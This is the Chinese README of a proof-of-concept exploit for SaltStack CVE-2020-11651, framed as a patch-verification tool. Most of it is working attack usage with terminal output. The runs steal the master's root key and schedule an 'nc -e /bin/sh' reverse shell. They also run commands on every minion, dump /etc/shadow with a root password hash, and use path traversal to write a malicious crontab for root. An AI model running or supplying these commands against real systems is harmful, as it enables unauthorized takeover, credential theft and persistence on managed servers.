该仓库包含 CVE-2020-11651 漏洞利用代码，已更新以适配最新版本的 Python 并处理连接错误。
这是一个基于最初检查脚本的概念验证漏洞利用。使用它来验证您是否已成功将 Salt master 服务器更新为包含必要修复的版本。
感谢 F-Secure Labs 的研究及报告。
目前，该脚本可用于在 master 及所有连接的 minion 上进行文件系统访问和调度命令。请明智地使用这些权限！
默认操作（不带参数）是获取给定 master 的 root key：
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] 请仅使用此脚本来验证您已正确修补有权访问的系统。按 ^C 中止。
[+] Salt 版本：3000.1
[ ] 此版本的 Salt 存在漏洞！请查看下方结果
[+] 检查 salt-master（192.168.115.130:4506）状态... 在线
[+] 检查是否受 CVE-2020-11651 影响...
[*] 获取到的 root key：b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
root@kalimah:~/salt#
在 master 上执行任意命令：
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] 请仅使用此脚本来验证您已正确修补有权访问的系统。按 ^C 中止。
[+] Salt 版本：3000.1
[ ] 此版本的 Salt 存在漏洞！请查看下方结果
[+] 检查 salt-master（192.168.115.130:4506）状态... 在线
[+] 检查是否受 CVE-2020-11651 影响...
[*] 获取到的 root key：b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] 尝试在 192.168.115.130 上执行 nc 127.0.0.1 4444 -e /bin/sh
[+] 成功调度任务：20200504153851746472
root@kalimah:~/salt#
同样，但在所有 minion 上执行：
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] 请仅使用此脚本来验证您已正确修补有权访问的系统。按 ^C 中止。
[+] Salt 版本：3000.1
[ ] 此版本的 Salt 存在漏洞！请查看下方结果
[+] 检查 salt-master（192.168.115.130:4506）状态... 在线
[+] 检查是否受 CVE-2020-11651 影响...
[*] 获取到的 root key：b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[!] Lester，确定要这样做吗？按 ^C 中止。
[+] 尝试在连接到 192.168.115.130 的所有 minion 上执行 'apt-get upgrade -y'
[+] 成功向所有 minion 提交任务。
root@kalimah:~/salt#
使用以下命令读取文件：
root@kalimah:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
[+] Salt 版本：2019.2.0
[ ] 此版本的 Salt 存在漏洞！请查看下方结果
[+] 检查 salt-master（192.168.115.130:4506）状态... 在线
[+] 检查是否受 CVE-2020-11651 影响...
[*] 获取到的 root key：GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[+] 尝试从 192.168.115.130 读取 /etc/shadow
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7:::
文件可以使用 --upload-src 和 --upload-dest 上传。注意目标必须是相对路径：
root@kalimah:~/salt# python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
[+] Salt 版本：2019.2.0
[ ] 此版本的 Salt 存在漏洞！请查看下方结果
[+] 检查 salt-master（127.0.0.1:4506）状态... 在线
[+] 检查是否受 CVE-2020-11651 影响...
[*] 获取到的 root key：GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[-] 目标路径必须是相对路径
[+] 尝试将 evil.crontab 上传到 127.0.0.1 上的 ../../../../../../var/spool/cron/crontabs/root
[ ] 已将数据写入文件 /srv/salt/../../../../../../var/spool/cron/crontabs/root
Python 2 或 3
Salt（pip3 install salt）